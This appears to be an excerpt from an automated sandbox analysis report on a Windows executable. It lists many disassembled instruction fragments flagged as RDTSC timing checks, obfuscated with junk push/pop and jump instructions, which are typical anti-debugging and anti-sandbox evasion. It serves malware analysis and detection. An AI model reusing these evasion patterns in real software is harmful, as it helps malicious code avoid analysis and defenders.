Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F3E7 second address: 74F3F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F3F0 second address: 74F3F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F3F4 second address: 74F413 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jns 00007F36ED361E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007F36ED361E0Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74F413 second address: 74F436 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36EC8543D5h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F36EC8543C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E42F6 second address: 6E42FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E42FA second address: 6E42FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E42FE second address: 6E4306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4306 second address: 6E430E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F34EC second address: 6F34F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752DC6 second address: 752DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F36EC8543CEh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 752F14 second address: 752F27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a ja 00007F36ED361E06h 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75790C second address: 757913 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7579F8 second address: 757A10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36ED361E10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757A10 second address: 757A2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36EC8543CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BE07 second address: 75BE0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BE0C second address: 75BE17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F36EC8543C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C766 second address: 75C781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36ED361E17h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C781 second address: 75C796 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F36EC8543CCh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C796 second address: 75C7A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F36ED361E06h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C902 second address: 75C906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C906 second address: 75C912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F36ED361E06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C912 second address: 75C933 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36EC8543D9h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C933 second address: 75C937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75CAAD second address: 75CAB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75CAB1 second address: 75CAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75CEB6 second address: 75CEBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75CEBC second address: 75CEC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75CEC0 second address: 75CEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75CEC6 second address: 75CED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jg 00007F36ED361E06h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75CED9 second address: 75CEFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36EC8543D4h 0x00000009 popad 0x0000000a jl 00007F36EC8543C8h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75CEFA second address: 75CF01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5D73 second address: 6E5D77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5D77 second address: 6E5D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5D7D second address: 6E5D90 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F36EC8543CEh 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5D90 second address: 6E5DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F36ED361E19h 0x0000000d jmp 00007F36ED361E0Fh 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5DC9 second address: 6E5DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762941 second address: 76295B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36ED361E15h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76295B second address: 762975 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36EC8543D5h 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762AB8 second address: 762ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7630FA second address: 76311A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F36EC8543DCh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76311A second address: 76311F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76311F second address: 763132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnl 00007F36EC8543C6h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762620 second address: 762625 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762625 second address: 762644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F36EC8543D2h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762644 second address: 762648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762648 second address: 76264C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76342C second address: 763432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763432 second address: 76344D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36EC8543D7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76344D second address: 763459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763459 second address: 763474 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F36EC8543CEh 0x00000008 pop edi 0x00000009 pushad 0x0000000a jnp 00007F36EC8543C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763474 second address: 763491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F36ED361E14h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763491 second address: 763497 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763497 second address: 76349B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76349B second address: 76349F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763628 second address: 76362E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76362E second address: 763637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763637 second address: 763641 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F36ED361E06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763641 second address: 76366D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F36EC8543D5h 0x0000000d jmp 00007F36EC8543CFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BF02 second address: 76BF07 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AA06 second address: 76AA40 instructions: 0x00000000 rdtsc 0x00000002 js 00007F36EC8543C6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jmp 00007F36EC8543CDh 0x00000012 pop esi 0x00000013 jmp 00007F36EC8543D2h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jc 00007F36EC8543CEh 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AA40 second address: 76AA56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jno 00007F36ED361E06h 0x0000000b jmp 00007F36ED361E0Ah 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AD10 second address: 76AD14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AE54 second address: 76AE58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AE58 second address: 76AE7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36EC8543D6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AFD7 second address: 76AFFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F36ED361E06h 0x00000009 jmp 00007F36ED361E0Bh 0x0000000e jg 00007F36ED361E06h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76AFFC second address: 76B004 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B162 second address: 76B16E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 popad 0x00000008 push ecx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B42C second address: 76B43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36EC8543CAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B43C second address: 76B455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36ED361E0Fh 0x00000009 popad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B455 second address: 76B45B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B45B second address: 76B461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B5F1 second address: 76B5F6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B792 second address: 76B7DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F36ED361E14h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F36ED361E19h 0x00000012 jmp 00007F36ED361E16h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B929 second address: 76B939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F36EC8543CAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B939 second address: 76B943 instructions: 0x00000000 rdtsc 0x00000002 je 00007F36ED361E12h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B943 second address: 76B949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B949 second address: 76B951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B951 second address: 76B955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B955 second address: 76B959 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B959 second address: 76B966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B966 second address: 76B98B instructions: 0x00000000 rdtsc 0x00000002 je 00007F36ED361E06h 0x00000008 jnp 00007F36ED361E06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F36ED361E11h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B98B second address: 76B99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36EC8543CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7130B1 second address: 7130B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7130B7 second address: 7130C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7130C1 second address: 7130CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BD59 second address: 76BD6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F36EC8543D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76BD6D second address: 76BD7F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F36ED361E0Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A581 second address: 76A595 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ecx 0x0000000a jg 00007F36EC8543CEh 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A595 second address: 76A5A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jnc 00007F36ED361E06h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F47F second address: 76F48F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jo 00007F36EC8543C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F48F second address: 76F493 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 773615 second address: 77361C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E087 second address: 7125D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F36ED361E11h 0x0000000c popad 0x0000000d nop 0x0000000e xor dword ptr [ebp+122D28E6h], ecx 0x00000014 lea eax, dword ptr [ebp+1247FDE3h] 0x0000001a call 00007F36ED361E0Ch 0x0000001f add ecx, 08F64C78h 0x00000025 pop edx 0x00000026 nop 0x00000027 push ecx 0x00000028 jmp 00007F36ED361E13h 0x0000002d pop ecx 0x0000002e push eax 0x0000002f jmp 00007F36ED361E0Fh 0x00000034 nop 0x00000035 push 00000000h 0x00000037 push eax 0x00000038 call 00007F36ED361E08h 0x0000003d pop eax 0x0000003e mov dword ptr [esp+04h], eax 0x00000042 add dword ptr [esp+04h], 00000019h 0x0000004a inc eax 0x0000004b push eax 0x0000004c ret 0x0000004d pop eax 0x0000004e ret 0x0000004f mov ecx, dword ptr [ebp+122D2C27h] 0x00000055 call dword ptr [ebp+122DB66Ch] 0x0000005b jg 00007F36ED361E36h 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E2C2 second address: 72E2C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E715 second address: 72E732 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36ED361E19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E732 second address: 72E739 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E739 second address: 72E759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jns 00007F36ED361E0Ah 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 je 00007F36ED361E06h 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E759 second address: 72E78E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F36EC8543D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c jmp 00007F36EC8543CAh 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 jng 00007F36EC8543CCh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
